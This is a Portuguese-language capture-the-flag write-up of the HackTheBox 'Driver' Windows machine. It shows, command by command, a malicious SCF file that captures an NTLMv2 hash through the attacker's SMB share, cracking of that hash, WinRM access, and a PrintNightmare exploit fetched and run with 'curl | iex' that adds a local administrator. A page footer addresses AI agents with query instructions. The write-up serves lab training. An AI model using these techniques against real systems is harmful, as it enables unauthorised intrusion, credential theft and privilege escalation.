# Driver

<figure><img src="/files/ARWSImvj9S4nsS9kNw1V" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Máquina Windows fácil onde através de um arquivo scf malicioso conseguimos a credencial de um usuário com permissão para obter acesso ao alvo usando o serviço `WinRM`. Por fim, exploramos a vulnerabilidade `PrintNighmare` e conseguimos escalar nosso privilégio obtendo um console como usuário Administrador.
{% endhint %}

## **Reconhecimento de Rede** <a href="#reconhecimento-de-rede" id="reconhecimento-de-rede"></a>

### Verificando a conectividade via Ping <a href="#verificando-a-conectividade-via-ping" id="verificando-a-conectividade-via-ping"></a>

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando `ping`. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 127 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.

<pre class="language-shell"><code class="lang-shell">attacker> ping -c 1 10.10.11.106
PING 10.10.11.106 (10.10.11.106) 56(84) bytes of data.
<strong>64 bytes from 10.10.11.106: icmp_seq=1 ttl=127 time=164 ms
</strong>
--- 10.10.11.106 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 164.348/164.348/164.348/0.000 ms
</code></pre>

### Varredura de Portas e Serviços

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta `nmap` para verificar todas as portas (1-65535) no alvo.

```shell
attacker> nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.11.106 -oG tcpPorts.gnmap
PORT     STATE SERVICE      REASON
80/tcp   open  http         syn-ack ttl 127
135/tcp  open  msrpc        syn-ack ttl 127
445/tcp  open  microsoft-ds syn-ack ttl 127
5985/tcp open  wsman        syn-ack ttl 127
```

A varredura revelou as portas abertas, portanto, ainda com o `nmap`, verifiquei quais versões de serviços estavam presentes nessas portas, bem como executei alguns scripts de enumeração padrão. Com isso, foram revelados os serviços HTTP, SMB, WinRM e suas respectivas versões.

```shell
attacker> nmap -sCV -p 80,135,445,5985 -vvv -n -Pn 10.10.11.106 -oX tcpScan.xml
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
445/tcp  open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2022-10-28T06:40:33
|_  start_date: 2022-10-28T06:29:05
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 27578/tcp): CLEAN (Timeout)
|   Check 2 (port 18115/tcp): CLEAN (Timeout)
|   Check 3 (port 26928/udp): CLEAN (Timeout)
|   Check 4 (port 36762/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s
```

## SMB (139, 445) Enumeration

Iniciando nossa enumeração pelo serviço SMB, podemos usar a ferramenta `crackmapexec` para obter informações sobre o alvo, com isso temos um Windows 10 Enterprise com o hostname `DRIVER`.

```shell
attacker> crackmapexec smb 10.10.11.106
SMB         10.10.11.106    445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
```

Podemos mapear recursos compartilhados via SMB usando a ferramenta `smbmap`, mas, neste caso, não é possível sem uma credencial.

```shell
attacker> smbmap -H 10.10.11.106 -u anonymous
[!] Authentication error on 10.10.11.106
```

Por enquanto não temos muito o que fazer com SMB, então podemos passar para outro serviço.

## HTTP (80) Enumeration

Em seguida, passei a enumerar o serviço HTTP usando a ferramenta `whatweb` para coletar informações sobre o software e a versão do servidor web. A ferramenta retornou informações como o software do servidor web (Microsoft-IIS), versão (10.0), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP.

```shell
attacker> whatweb -v http://10.10.11.106/ | tee whatweb.txt
WhatWeb report for http://10.10.11.106/
Status    : 401 Unauthorized
Title     : <None>
IP        : 10.10.11.106
Country   : RESERVED, ZZ

Summary   : HTTPServer[Microsoft-IIS/10.0], Microsoft-IIS[10.0], PHP[7.3.25], WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic], X-Powered-By[PHP/7.3.25]
...
HTTP Headers:
        HTTP/1.1 401 Unauthorized
        Content-Type: text/html; charset=UTF-8
        Server: Microsoft-IIS/10.0
        X-Powered-By: PHP/7.3.25
        WWW-Authenticate: Basic realm="MFP Firmware Update Center. Please enter password for admin"
        Date: Fri, 28 Oct 2022 06:51:18 GMT
        Connection: close
        Content-Length: 20
```

Ao abrir o servidor web no navegador, vemos um painel de autenticação. Após testar credenciais padrão conseguimos logar na aplicação com usuário e senha `admin`.

![](/files/WXVsD8ZT5fxL0epDoMG5)

Ao logar, vemos uma aplicação relativa à administração de impressora.

![](/files/heZqYc3GX1MGhs0ZaHkN)

No rodapé da página há um domínio, que podemos adicionar ao arquivo `/etc/hosts` de nossa máquina atacante.

```shell
attacker> grep "driver.htb" /etc/hosts
10.10.11.106    driver.htb
```

Na aba `Firmware Updates`, há um botão para upload de arquivo e uma descrição dizendo que "o arquivo que fizermos upload será enviado para o compartilhamento de arquivos da aplicação", que é muito provavelmente o serviço SMB que vimos anteriormente. Assim "alguém irá revisar este arquivo manualmente".

![](/files/qLmiKOldhUHIvnNGhhDI)

### SCF Malicious File

Tendo em mente que podemos enviar um arquivo para o SMB do alvo, e que alguém irá abri-lo, podemos pensar em criar um arquivo SCF malicioso.

* *what is scf file attack?*

{% embed url="<https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/>" %}

Basicamente, se criarmos um arquivo .scf contendo um ícone envenenado e o enviarmos para o compartilhamento SMB do alvo, quando o host do alvo se conectar ao compartilhamento que contém este arquivo, só de visualizar o ícone do arquivo .scf, ele será envenenado e o atacante receberá seu hash NTLMv2.

Agora que estamos claros sobre nosso objetivo, vamos criar o arquivo scf malicioso.

<pre class="language-shell"><code class="lang-shell">attacker> cat bruno.scf
[Shell]
Command=2
<strong>IconFile=\\10.10.16.49\smbFolder\bruno.ico
</strong>[Taskbar]
Command=ToggleDesktop
</code></pre>

Neste arquivo estamos definindo um ícone, e este é o ponto, nele colocamos o endereço de um servidor SMB que estaremos compartilhando na nossa máquina atacante, por isso que quando alguém no alvo visualizar o ícone deste arquivo, receberemos seu hash NTLMv2.

Então basta montamos este servidor SMB em nossa máquina atacante com o comando `impacket-smbserver smbFolder $(pwd)` e enviarmos o arquivo scf para o alvo no servidor web.

![](/files/7neBPJJqF1UYqdtbrgvf)

Após o upload, uma vez vejam o arquivo scf malicioso, receberemos seu hash NTLMv2 por conta de seu ícone envenenado.

<pre class="language-shell"><code class="lang-shell">attacker> impacket-smbserver smbFolder $(pwd)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.106,49414)
[*] AUTHENTICATE_MESSAGE (DRIVER\tony,DRIVER)
[*] User DRIVER\tony authenticated successfully
<strong>[*] tony::DRIVER:aaaaaaaaaaaaaaaa:95109bc8f46a693ad65ee8ac8afb41ea:010100000000000000b337c062ead80189fa7f08a5b319c200000000010010004e0079004f00510048004c0074004f00030010004e0079004f00510048004c0074004f0002001000620052006a004300450046007900650004001000620052006a00430045004600790065000700080000b337c062ead801060004000200000008003000300000000000000000000000002000005511644b03a583e6441be95e637749cd1bfde13767395314cd2c518828d214da0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e0034003900000000000000000000000000
</strong>[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:SMBFOLDER)
</code></pre>

Podemos quebrar este hash offline com a ferramenta `JohnTheRipper`. Assim, usando em conjunto do dicionário `rockyou.txt`, obtemos a senha do hash em texto claro.

```
attacker> cat tony.hash
tony::DRIVER:aaaaaaaaaaaaaaaa:95109bc8f46a693ad65ee8ac8afb41ea:010100000000000000b337c062ead80189fa7f08a5b319c200000000010010004e0079004f00510048004c0074004f00030010004e0079004f00510048004c0074004f0002001000620052006a004300450046007900650004001000620052006a00430045004600790065000700080000b337c062ead801060004000200000008003000300000000000000000000000002000005511644b03a583e6441be95e637749cd1bfde13767395314cd2c518828d214da0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e0034003900000000000000000000000000
```

<pre class="language-shell"><code class="lang-shell">attacker> john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt tony.hash| tee tony.cracked
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<strong>liltony          (tony)
</strong>1g 0:00:00:00 DONE (2022-10-27 20:25) 10.00g/s 317440p/s 317440c/s 317440C/s zombies..210687
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
</code></pre>

## Gaining Access

Podemos usar a ferramenta `crackmapexec` para validar a credencial. Como nos é retornado `[+]`, significa que a credencial é válida.

```shell
attacker> crackmapexec smb 10.10.11.106 -u 'tony' -p 'liltony'
SMB         10.10.11.106    445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB         10.10.11.106    445    DRIVER           [+] DRIVER\tony:liltony
```

Como a porta 5985 (WinRM) do alvo também está aberta, podemos ver se com essas credenciais podemos acessar esse serviço. Nos é retornado `(Pwn3d!)`, o que significa que este usuário faz parte do grupo `Remote Management Users`, podendo acessar o host remotamente utilizando o serviço WinRM.

```shell
attacker> crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
SMB         10.10.11.106    5985   NONE             [*] None (name:10.10.11.106) (domain:None)
HTTP        10.10.11.106    5985   NONE             [*] http://10.10.11.106:5985/wsman
WINRM       10.10.11.106    5985   NONE             [+] None\tony:liltony (Pwn3d!)
```

Assim, podemos usar a ferramenta `evil-winrm` para obter esse acesso remoto ao alvo.

```shell
attacker> evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : htb
   IPv6 Address. . . . . . . . . . . : dead:beef::231
   IPv6 Address. . . . . . . . . . . : dead:beef::3dcd:fa8d:d7ef:7dd
   Temporary IPv6 Address. . . . . . : dead:beef::4ad:afe7:60d4:e630
   Link-local IPv6 Address . . . . . : fe80::3dcd:fa8d:d7ef:7dd%5
   IPv4 Address. . . . . . . . . . . : 10.10.11.106
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:d291%5
                                       10.10.10.2

Tunnel adapter isatap.{99C52957-7ED3-4943-91B6-CD52EF4D6AFC}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : htb
```

Uma vez logado, naveguei até o `Desktop` do usuário `tony` e encontrei a flag `user.txt`.

```shell
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
f08d3a777be15a8442783b1a0f91f61c
```

{% hint style="success" %}
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag `root.txt`.
{% endhint %}

## Privilege Escalation

Para iniciar a fase de `internal discovery`, transferi o script de enumeração `WinPEAS` para o alvo.

```
attacker> cp /usr/share/peass/winpeas/winPEASany.exe .

attacker> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```shell
*Evil-WinRM* PS C:\Windows\Temp\Privesc> certutil.exe -f -urlcache -split http://10.10.16.49/winPEASany.exe
****  Online  ****
  000000  ...
  1e0c00
CertUtil: -URLCache command completed successfully.
*Evil-WinRM* PS C:\Windows\Temp\Privesc> dir


    Directory: C:\Windows\Temp\Privesc


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/28/2022  12:42 AM        1969152 winPEASany.exe
```

Uma vez transferido, basta executar o `WinPEAS`.

```
*Evil-WinRM* PS C:\Windows\Temp\Privesc> .\winPEASany.exe
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
    (((((##########################################)(((((((
    ((((((########################################)(((((((
    ((((((((####################################)((((((((
    (((((((((#################################)(((((((((
        ((((((((((##########################)(((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((

ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.

  WinPEAS-ng by @carlospolopm
...
```

Como resultado da enumeração, uma das coisas que o `WinPEAS` encontrou foi o serviço `spoolsv` rodando localmente. Isto chama bastante atenção pois há uma vulnerabilidade popularmente chamada de PrintNightmare que afeta este serviço de pooler de impressão.

```shell
  TCP        0.0.0.0               49410         0.0.0.0               0               Listening         1160            spoolsv
```

### PrintNightmare

Portanto, podemos explorar esta vulnerabilidade para escalar nossos privilégios.

* *what is PrintNightmare (CVE-2021-34527)?*

> A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

Primeiro, vamos fazer download do exploit e transferir para o alvo.

```shell
attacker> wget https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/master/CVE-2021-34527.ps1
--2022-10-27 21:07:31--  https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/master/CVE-2021-34527.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 178563 (174K) [text/plain]
Saving to: ‘CVE-2021-34527.ps1’

CVE-2021-34527.ps1                           100%[===========================================================================================>] 174.38K  --.-KB/s    in 0.07s
```

```
attacker> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```shell
*Evil-WinRM* PS C:\Windows\Temp\Privesc> curl http://10.10.16.49/CVE-2021-34527.ps1 -UseBasicParsing | iex
*Evil-WinRM* PS C:\Windows\Temp\Privesc> dir


    Directory: C:\Windows\Temp\Privesc


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/28/2022   1:06 AM         178563 CVE-2021-34527.ps1
-a----       10/28/2022  12:42 AM        1969152 winPEASany.exe
```

Seguindo o passo a passo presente no repositório do exploit, podemos adicionar um novo usuário do sistema ao grupo de administradores locais.

```shell
*Evil-WinRM* PS C:\Windows\Temp\Privesc> Invoke-Nightmare -DriverName "Xerox" -NewUser "bruno" -NewPassword "#Bruno1337"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user bruno as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
```

Ao executar o comando acima, teremos adicionado um novo usuário administrador ao sistema, neste caso chamado `bruno`.

```shell
*Evil-WinRM* PS C:\Windows\Temp\Privesc> net user bruno
User name                    bruno
Full Name                    bruno
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
Password last set            10/28/2022 1:20:35 AM
Password expires             Never
Password changeable          10/28/2022 1:20:35 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.
```

Ou seja, se validarmos a credencial deste usuário em nossa máquina atacante com `crackmapexec`, vemos que nos é retornado `(Pwn3d!)` tanto com `SMB` quanto com `WinRM`.

```shell
attacker> crackmapexec smb 10.10.11.106 -u 'bruno' -p '#Bruno1337'
SMB         10.10.11.106    445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB         10.10.11.106    445    DRIVER           [+] DRIVER\bruno:#Bruno1337 (Pwn3d!)

attacker> crackmapexec winrm 10.10.11.106 -u 'bruno' -p '#Bruno1337'
SMB         10.10.11.106    5985   NONE             [*] None (name:10.10.11.106) (domain:None)
HTTP        10.10.11.106    5985   NONE             [*] http://10.10.11.106:5985/wsman
WINRM       10.10.11.106    5985   NONE             [+] None\bruno:#Bruno1337 (Pwn3d!)
```

Isso significa que  podemos entrar no alvo com o `evil-winrm` e assim ter um console com um usuário privilegiado no sistema.

```shell
attacker> evil-winrm -i 10.10.11.106 -u 'bruno' -p '#Bruno1337'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\bruno\Documents> whoami
driver\bruno
```

Então basta ler a flag `root.txt` no `Desktop` do `Administrator` para concluir o objetivo do CTF.

```shell
*Evil-WinRM* PS C:\Users\bruno\Documents> cd \Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
76653a9e57273e3102441eef7d232c54
```

{% hint style="success" %}
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.
{% endhint %}

![](/files/IVSPGVnmbAZFYzffeCa1)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://brunosergio.gitbook.io/ctfs/writeups/hackthebox/driver.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
